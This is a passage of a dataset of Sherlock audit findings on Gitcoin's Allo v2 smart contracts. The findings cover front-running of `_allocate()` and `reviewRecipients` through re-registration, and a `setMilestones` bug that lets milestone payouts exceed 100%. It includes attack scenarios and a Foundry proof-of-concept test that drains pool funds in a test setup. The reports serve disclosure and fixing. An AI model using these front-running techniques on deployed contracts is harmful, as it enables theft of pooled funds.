Recommendation\n\n**Option 1**\nHave dedicated registration windows like you did for quadrating voting \n\n**Option 2**\nSend acceptedRecipientProposalBid in _allocate and check against `recipient.proposalBid`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/857.md"}} +{"title":"`RFPSimpleStrategy` Winning bidder can front-run the `_allocate()` transaction and change the `proposalBid` with `registerRecipient()`.","severity":"major","body":"Tart Citron Platypus\n\nhigh\n\n# `RFPSimpleStrategy` Winning bidder can front-run the `_allocate()` transaction and change the `proposalBid` with `registerRecipient()`.\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy#_registerRecipient()` is allowed as long as the pool is active.\n\n`_allocate()` is also called when the pool is active.\n\n## Impact\n\n### PoC\n\n- Alice bid with only $10.\n- Alice is selected as the winning bid (`_allocate()` is called).\n- Alice frontruns the `_allocate()` transaction and changes the bid to `maxBid`.\n\nThe `maxBid` is now unexpectedly selected.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L382-L412\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a `registrationEndTime` and only allow `RFPSimpleStrategy#_registerRecipient()` before and `_allocate()` after `registrationEndTime`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/657.md"}} +{"title":"Malicious registrant can front-run `RFPSimpleStrategy._allocate()` in order to change the `proposalBid` and get a bigger payout in the distribution","severity":"major","body":"Brief Mahogany Tiger\n\nhigh\n\n# Malicious registrant can front-run `RFPSimpleStrategy._allocate()` in order to change the `proposalBid` and get a bigger payout in the distribution\n\nThe `RFPSimpleStrategy::_allocate()` function can be frontrun by a malicious `registrant` chainging the `proposalBid` and get a bigger payout in the `RFPSimpleStrategy::_distribute()` function.\n\n## Vulnerability Detail\n\nUsers can register to the pool strategy using the [RFPSimpleStrategy::_registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314C14-L314C32) function specifying the [proposalBid](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L378) in the registration. Then the pool manager [accepts the `registrant recipient`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L404) using the [RFPSimpleStrategy::_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386) function.\n\nThe problem is that the execution of the `RFPSimpleStrategy::_allocate()` function by the `pool manager` can be frontun by a malicious `registrant recipient`. Consider the next scenario:\n\n1. `UserA` call the `RFPSimpleStrategy::_registerRecipient()` using a `proposalBid=10`.\n2. Pool manager accepts the proposal by `UserA` and call the `RFPSimpleStrategy::_allocate()` function.\n3. `UserA` monitors the mempool and frontrun the manager `_allocate()` execution changing the proposal now `proposalBid=50`.\n4. The `step 2` call finally is executed but the using non-agreed proposal `proposalBid=50`.\n\nNow the `UserA` is accepted registrant recipient with non-agreed proposal bid (`proposalBid=50`).\n\n## Impact\n\nMalicious registrant can change the `proposalBid` to a non-agreed term causing that he can receive a bigger payout in the [RFPSimpleStrategy::_distribute()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417) function because in the [code line 435](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L435) the `proposalBid` is used to calculate the amount to pay to the `accepted registrant recipient`:\n\n```solidity\nFile: RFPSimpleStrategy.sol\n417: function _distribute(address[] memory, bytes memory, address _sender)\n418: internal\n419: virtual\n420: override\n421: onlyInactivePool\n422: onlyPoolManager(_sender)\n423: {\n...\n...\n433: \n434: // Calculate the amount to be distributed for the milestone\n435: uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n437: // Get the pool, subtract the amount and transfer to the recipient\n438: poolAmount -= amount;\n439: _transferAmount(pool.token, recipient.recipientAddress, amount);\n...\n...\n450: }\n```\n\nThe malicious accepted registrant can drain all funds from the pool strategy using one milestone.\n\n## Code Snippet\n\n- [RFPSimpleStrategy::_registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314C14-L314C32)\n- [RFPSimpleStrategy::_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386)\n- [RFPSimpleStrategy::_distribute()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nVerify the `proposalBid` when the `_allocate()` occurs:\n\n```diff\n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n onlyActivePool\n onlyPoolManager(_sender)\n {\n // Decode the '_data'\n-- acceptedRecipientId = abi.decode(_data, (address));\n++ (acceptedRecipientId, uint256 expectedProposalBid) = abi.decode(_data, (address, uint256));\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n\n-- if (acceptedRecipientId == address(0) || recipient.recipientStatus != Status.Pending) {\n++ if (acceptedRecipientId == address(0) || recipient.recipientStatus != Status.Pending || recipient.proposalBid != expectedProposalBid) {\n revert RECIPIENT_ERROR(acceptedRecipientId);\n }\n\n // Update status of acceptedRecipientId to accepted\n recipient.recipientStatus = Status.Accepted;\n\n _setPoolActive(false);\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n // Emit event for the allocation\n emit Allocated(acceptedRecipientId, recipient.proposalBid, pool.token, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/497-best.md"}} +{"title":"Malicious recipient can frontrun `allocate` with a call to `registerRecipient`","severity":"major","body":"Tart Holographic Lion\n\nhigh\n\n# Malicious recipient can frontrun `allocate` with a call to `registerRecipient`\nConsider a strategy deployed with `RFPSimpleStrategy.sol`. A malicious recipient can first register themselves with a low proposal bid, wait for one of the pool managers to call `allocate` on `Allo.sol` to make the malicious recipient the `acceptedRecipientId` (tricked by the low proposal bid). The malicious recipient will then frontrun this call to `allocate` with another call to `_registerRecipient` with a higher `proposalBid`. \n\n## Vulnerability Detail\n\nIt's smartest for the attacker to first start by calling `registerRecipient` on `Allo.sol` (which calls `_registerRecipient` on `RFPSimpleStrategy.sol`) with a low proposal bid. Eventually, the pool manager will call `allocate` to assign the attacker as the `acceptedRecipientId` since the proposal bid was very low. The attacker then front-runs this call to `allocate` with a call to `_registerRecipient` with a higher proposal bid (everything else can be the same as in the original call). This essentially griefs the pool manager because they cannot select another recipient to be the `acceptedRecipientId`, as the pool has been deactivated. So, they have to choose between working with the attacker for a high price or just abandoning the pool / strategy by calling `withdraw`. \n\n## Impact\n\nMalicious recipient can grief the pool manager, putting them in a situation where they must work with the attacker for a higher price or abandon the pool / strategy by calling `withdraw`. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L411\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\n## Tool used\n\nManual Review\n\n## Recommendation\nOne idea is to implement a timeframe during which `_registerRecipient` can be called, and then another timeframe strictly afterwards during which `_allocate` can be called.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/397.md"}} +{"title":"Malicious recipient can frontrun `reviewRecipients` with a call to `registerRecipient`","severity":"major","body":"Tart Holographic Lion\n\nmedium\n\n# Malicious recipient can frontrun `reviewRecipients` with a call to `registerRecipient`\n\nConsider a strategy deployed with `QVBaseStrategy` as the basis (e.g. `QVSimpleStrategy`). A malicious recipient can first register themselves with an acceptable `recipientAddress` and `Metadata`, wait for `reviewThreshold - 1` reviewers to approve, and then front-run the last reviewer's call to `reviewRecipients` with an unacceptable `recipientAddress` and `Metadata`, but they will be approved regardless of the change. \n\n## Vulnerability Detail\n\nFirst, let's assume that `registryGating` in `QVBaseStrategy` is off (it doesn't affect the exploit, but just for simplicity). The malicious recipient will first call `registerRecipient` on `Allo.sol`, which calls `_registerRecipient` in `QVBaseStrategy`, with a reasonable `recipientAddress` and `metadata`. They will set `registryAnchor` to the zero address so that their sending address becomes the `recipientId` (again doesn't affect the exploit but just for simplicity). \n\nThen, they will wait for `reviewThreshold - 1` reviewers to call `reviewRecipients` in `QVBaseStrategy.sol` and approve this. Because `reviewRecipients` has this logic:\n\n```solidity\n if (\n reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold\n ) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(\n recipientId,\n recipientStatus,\n address(0)\n );\n }\n```\n\nwhich just uses the `recipientId` and `recipientStatus` to find the number of votes, without any other checks, the malicious recipient can now wait for the last reviewer to send an approving transaction. The malicious recipient then frontruns this approving transaction with a call to `registerRecipient` on `Allo.sol` again, except this time the malicious recipient puts in a malicious `recipientAddress` and `metadata`. `_registerRecipient` in `QVBaseStrategy` will let this change go through and keep the `recipientStatus` as `Status.Pending`. Because `reviewRecipients` has no check to see if the recipients data for the relevant `recipientId` was modified, it will lead to the new malicious recipient data with the malicious `recipientAddress` and `metadata` being approved. This malicious recipient can then be allocated to once the registration period ends and the allocation period starts. \n\nPretty much the same issue seems to exist in `DonationVotingMerkleDistributionBaseStrategy`, where a malicious recipient can frontrun `reviewRecipients` with `_registerRecipient`. \n\n## Impact\n\nMalicious recipient can potentially get malicious data approved by reviewers, even if the reviewers would not have approved the data if they had seen it initially. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369-L430\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nYou should track a `changeId` in `_registerRecipient` in `QVBaseStrategy` for every `recipientId`. Then, every call to `reviewRecipients` should contain an array of the `changeId` variables for every `recipientId` which `reviewRecipients` can then compare to the latest value of the `changeId` variables to see if they match.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/395.md"}} +{"title":"RFP recipient can steal pool funds without supplying all milestones by re-registering before allocation","severity":"major","body":"Clumsy Pecan Jay\n\nhigh\n\n# RFP recipient can steal pool funds without supplying all milestones by re-registering before allocation\n\nDue to a missing terms validation at allocation a `recipient` is able to update their `proposalBid` just before the manager allocates them for the task.\n\nThe recipient can steal more then intended funds from the pool or the entire pool while providing only a single milestone \n\n## Vulnerability Detail\n\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n--------\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n-------\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\n\nAs can be seen above, a recipient can update their `proposalBid` as long as thee pool is `active` (before allocation). \n\nThis enable a malicious recipient to change their `proposalBid` at the same block as the manager calls `allocate`:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L395\n```solidity\n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n onlyActivePool\n onlyPoolManager(_sender)\n {\n // Decode the '_data'\n acceptedRecipientId = abi.decode(_data, (address));\n Recipient storage recipient = _recipients[acceptedRecipientId];\n-----\n // Update status of acceptedRecipientId to accepted\n recipient.recipientStatus = Status.Accepted;\n\n _setPoolActive(false);\n-----\n }\n```\n\nAs can be seen above - although `allocate` is used to chose the recipient based on the terms, there are no validation of the recipient terms (`proposalBid`) \n\nAfter submission the manager will distribute the funds by calling `_distribute`\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n-------\n Recipient memory recipient = _recipients[acceptedRecipientId];\n-------\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n-------\n }\n```\n\nThe updated `proposalBid` can be set to a value that will result in an `amount` equal to a higher then intended amount per milestone or the *entire pool amount.\n\nConsider the following scenario:\n1. Manager creates an RFP pool with `100 ETH`.\n2. Manager sets `two` milestones with `70%` payment for first milestone and `30%` for second.\n3. Multiple recipients apply but `Alice` applies with a cheap `proposalBid` of only `20 ETH`.\n4. Since `Alice` proposal is cheap, the manager calls `allocate` to chose `Alice`.\n5. `Alice` front-runs the call to `allocate` and re-registers updating her `proposalBid` to `100 ETH`. \n6. `Alice` completes the first milestone and submits it and the manager accepts the submission.\n7. The manager calls `distribute` to move to the next milestone and pay `Alice` rewards of `14 ETH` however `70 ETH` is sent instead.\n\n*Alice would be able to steal the entire pool if a single milestone is used.\n\n## Impact\n\nTheft of more then intended and potentially all pool funds.\n\n## Code Snippet\n\nAdd the following test to `RFPSimpleStratagy.t.sol`\n```solidity\n function test_stealPoolFunds() external {\n uint256 poolTotalBeforeFee = 100 ether;\n uint256 percentFee = (poolTotalBeforeFee * 1e16) / 1e18;\n uint256 poolTotal = poolTotalBeforeFee - percentFee;\n\n // Fund pool with ~100 ether\n vm.deal(pool_admin(), 100 ether);\n vm.prank(pool_admin());\n allo().fundPool{value: poolTotalBeforeFee}(poolId, poolTotalBeforeFee);\n\n // Increase max bid to ~100 ether\n vm.prank(pool_admin());\n strategy.increaseMaxBid(poolTotal);\n\n // Register\n address sender = recipient();\n uint256 recipientFakeProposalBid = 20 ether;\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(recipientAddress(), false, recipientFakeProposalBid, metadata);\n vm.prank(address(allo()));\n address recipientIdReceived = strategy.registerRecipient(data, sender);\n\n // Set Milestones\n __setMilestones();\n\n // Front-run allocate\n data = abi.encode(recipientAddress(), false, poolTotal, metadata);\n vm.prank(address(allo()));\n recipientIdReceived = strategy.registerRecipient(data, sender);\n\n // Allocate\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientIdReceived), address(pool_admin()));\n\n // Submit milestone\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n // Distribute\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n // Alice should receive 70% of the poolTotal (~70 eth)\n assertEq(recipientAddress().balance, (poolTotal * 7e17) / 1e18);\n }\n```\n\nTo execute the test run:\n```solidity\nforge test --match-test \"test_stealPoolFunds\" -v\n```\n\nExpected output: \n```solidity\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] test_stealPoolFunds() (gas: 607506)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.84ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAt allocation - The expected `proposalBid` should be part of `data` and be validated\nAdd the following check:\n```solidity\n // Decode the '_data'\n uint256 expectedProposalBid;\n (acceptedRecipientId, expectedProposalBid) = abi.decode(_data, (address, uint256));\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n\n if (acceptedRecipientId == address(0) || recipient.recipientStatus != Status.Pending || recipient.proposalBid != expectedProposalBid ) {\n revert RECIPIENT_ERROR(acceptedRecipientId);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/098.md"}} +{"title":"User can frontrun RFPSimpleStrategy._allocate in order to increase his bid","severity":"major","body":"Savory Boysenberry Cobra\n\nmedium\n\n# User can frontrun RFPSimpleStrategy._allocate in order to increase his bid\nUser can frontrun RFPSimpleStrategy._allocate in order to increase his bid\n## Vulnerability Detail\nWhen RFPSimpleStrategy is deployed, then there is `maxBid` variable which is max amount that owner would like to pay for a job done.\nSo in order to get this offer users will likely send lower bids. In order to apply user calls `_registerRecipient`. This function allows user [to update info as well](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L372). So user can easily update his bid.\n\nWhen owner calls `_allocate` then he provides the one who is selected to the job. In this moment owner has agreed payment. But malicious recipient can frontrun `_allocate` and call `_registerRecipient` with new higher bid. As result he will receive bigger payment if owner will not notice that. Or owner will see that and they will start arguing.\n## Impact\nRecipient may receive bigger paymnet than agreed by owner.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nMake owner provide additional param to `allocate` function. This will be agreed payment. So in case if recipient's bid is bigger than revert.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/052.md"}} +{"title":"`RFPSimpleStrategy.setMilestones` can only be called once","severity":"medium","body":"Clever Metal Giraffe\n\nmedium\n\n# `RFPSimpleStrategy.setMilestones` can only be called once\n\n`RFPSimpleStrategy.setMilestones` is used to set the milestones for the `acceptedRecipientId`. However, `RFPSimpleStrategy.setMilestones` can only be called once. The manager of the pool cannot change the milestones.\n\n## Vulnerability Detail\n\nIf `upcomingMilestone == 0`, the manager is able to call `setMilestones` to initialize the milestones. However, it can only be called once, because it only calls `milestones.push(_milestones[i])` without clearing the old milestones.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L236\n```solidity\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```\n\n## Impact\n\n`RFPSimpleStrategy.setMilestones` can only be called once. The manager should able to reset the milestone.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L236\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nClear the old milestone first before setting the new milestones.\n```solidity\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n+ delete milestones;\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/790.md"}} +{"title":"Recipient can get more tokens than the amount of proposal bid if milestones are set multiple times by pool manager","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Recipient can get more tokens than the amount of proposal bid if milestones are set multiple times by pool manager\nRecipient can get more tokens than the amount of proposal bid if milestones are set multiple times by pool manager.\n\n## Vulnerability Detail\nIf RFPSimpleStrategy. is used, tokens are distributed to recipient milestone by milestone, and milestones are set by pool manager. **upcomingMilestone** represents the next milestone, and the initial value is 0 and increases when tokens are distributed to recipient in **_distribute()** function.\n\nSo, **setMilestones()** function can be called multiple times by pool manager if he/she wants to change milestones, just before the first batch of tokens are distributed to recipient. And because **milestones** is not cleaned up before a new milestone is pushed in. This can lead to recipients receiving more tokens than the amount of their proposal bid.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L224-L247\n\nBelow is a simple example, milestones are set twice:\n1st: [milestone0: 30%, milestone1: 70%]\n2nd: [milestone0: 50%, milestone1: 50%]\nThen, the final result is [milestone0: 30%, milestone1: 70%, milestone2: 50%, milestone3: 50%]. Recipients can receive double the number of tokens.\n\n## Impact\nRecipients can receive more tokens than the amount of their proposal bid if they collude with the pool manager.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L224-L247\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThere are two methods\n1.Add a global bool variable **milestoneIsSet**, and set the value to true the first time **setMilestones()** is called.\n2. Clean up **milestones** before a new milestone is pushed in","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/681.md"}} +{"title":"Wrong implementation of `RFPSimpleStrategy#setMilestones()`","severity":"medium","body":"Tart Citron Platypus\n\nhigh\n\n# Wrong implementation of `RFPSimpleStrategy#setMilestones()`\n\n## Vulnerability Detail\n\nWhen `RFPSimpleStrategy` calls `setMilestones(_milestones)` again:\n\n1. the latest `_milestones` did not take effect, and\n2. the total sum of `pool.token` distributed by all `milestones[i]` is unexpectedly greater than the target amount `recipient.proposalBid`, due to an implementation error in `setMilestones()`.\n\n- Expected: `setMilestones()` overrides the entire `milestones` storage.\n- Current implementation: `setMilestones()` does not clear the old `milestones` storage, but appends the new `_milestones` after the old ones.\n\n## Impact\n\nEach call to `RFPSimpleStrategy#setMilestones` will result in an extension of the `milestones`, which may cause the distribution of funds to deviate from the expected milestone ratio, potentially resulting in funds being unexpectedly frozen in the protocol or over-distributed to the recipient.\n\n### PoC\n\n1. Old milestones = [50, 50], length = 2.\n\n2. Set to new milestones with `setMilestones()` = [40, 30, 30], length = 3.\n\n3. Actual resulted milestones = [50, 50, 40, 30, 30].\n\n4. When 3 milestones are distributed, the total sent is 50 + 50 + 40 = 140%.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange to:\n\n```solidity\nfunction setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n delete milestones;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/651.md"}} +{"title":"`RFPSimpleStrategy::setMilestones()` doesn't revert even if the milestones are already set","severity":"medium","body":"Energetic Berry Llama\n\nmedium\n\n# `RFPSimpleStrategy::setMilestones()` doesn't revert even if the milestones are already set\n`RFPSimpleStrategy::setMilestones()` function should revert if the milestones already set but it doesn't revert, which might cause additional milestones to be set and total milestones percentage to be more than 100% \n\n## Vulnerability Detail\n`RFPSimpleStrategy` distributes funds according to milestones. These milestones are set before the distribution and every milestone has an `amountPercentage`. The total `amountPercentage` of the milestones has to be 100%. The recipient proves that they accomplished necessary tasks for the milestone and get funds according to that milestone's `amountPercentage`. In the end, 100% of the funds will be distributed when all of the milestones are done.\n\nThe milestones can only be set once and `setMilestone` should revert if the milestones are already set. But it doesn't revert and lets the milestones be set again until the funds of the first milestone are distributed. Here is the code snippet: \n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L228C1-L228C69](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L228C1-L228C69)\n\n```solidity\n /// @notice Set the milestones for the acceptedRecipientId.\n /// @dev 'msg.sender' must be a pool manager to set milestones. Emits 'MilestonesSet' event\n /// @param _milestones Milestone[] The milestones to be set\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n--> if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET(); //@audit upcomingMilestone is not updated in this function. It is still 0. It will be updated in distribute\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```\n\nAs you can see above, this check is the reason for the issue: \n`if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET()`\n\nIt checks if the `upcomingMilestone` is 0 or not. But the problem is `upcomingMilestone` is not updated when setting milestones. It will be 0 until the first milestone is distributed, and this function will not revert even when the milestones are already set.\n\n## Coded PoC\nI added a view function to make things easier for testing. It returns the `milestones` array, which is much simpler to work instead of working with tupples in the foundry. This is the additional view function:\n\n```solidity\n //@audit add a view function to make test easier\n function getPublicMilestonesArray() external view returns (Milestone[] memory) {\n return milestones;\n }\n```\n\nThe PoC is below. You can use the exact same setup of the protocol to test the PoC. \n\\- Copy the test below and paste it into the `RFPSimpleStrategy.t.sol` test file. \n\\- use `forge test --match-test test_setMilestoneAgainAndAgainBeforeDistribute`\n\n```solidity\nfunction test_setMilestoneAgainAndAgainBeforeDistribute() public {\n RFPSimpleStrategy.Milestone[] memory milestones = new RFPSimpleStrategy.Milestone[](2);\n RFPSimpleStrategy.Milestone memory milestone = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 7e17,\n milestoneStatus: IStrategy.Status.Pending\n });\n RFPSimpleStrategy.Milestone memory milestone2 = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 3e17,\n milestoneStatus: IStrategy.Status.Pending\n });\n\n // Create the milestones array.\n milestones[0] = milestone;\n milestones[1] = milestone2;\n\n // Set milestones for the first time.\n vm.prank(address(pool_admin()));\n vm.expectEmit();\n emit MilestonesSet();\n strategy.setMilestones(milestones);\n\n // Check the milestones array length --> This getter function is added just to make things easier.\n RFPSimpleStrategy.Milestone[] memory milestoneArray = strategy.getPublicMilestonesArray();\n \n // State variable milestone array is set with 2 milestones (70% and 30%)\n assertEq(milestoneArray.length, 2);\n\n // Change the milestones array. \n milestones[0] = milestone2;\n milestones[1] = milestone;\n\n // Set milestones again. Normally it should revert because it is already set. But it won't revert.\n vm.prank(address(pool_admin()));\n vm.expectEmit();\n emit MilestonesSet();\n strategy.setMilestones(milestones);\n\n // Check the array length again\n RFPSimpleStrategy.Milestone[] memory milestoneArrayAfterSecondTime = strategy.getPublicMilestonesArray();\n \n // State variable milestone array is updated with 2 more milestones. \n // It has 4 milestones now. (70% - 30% - 30% - 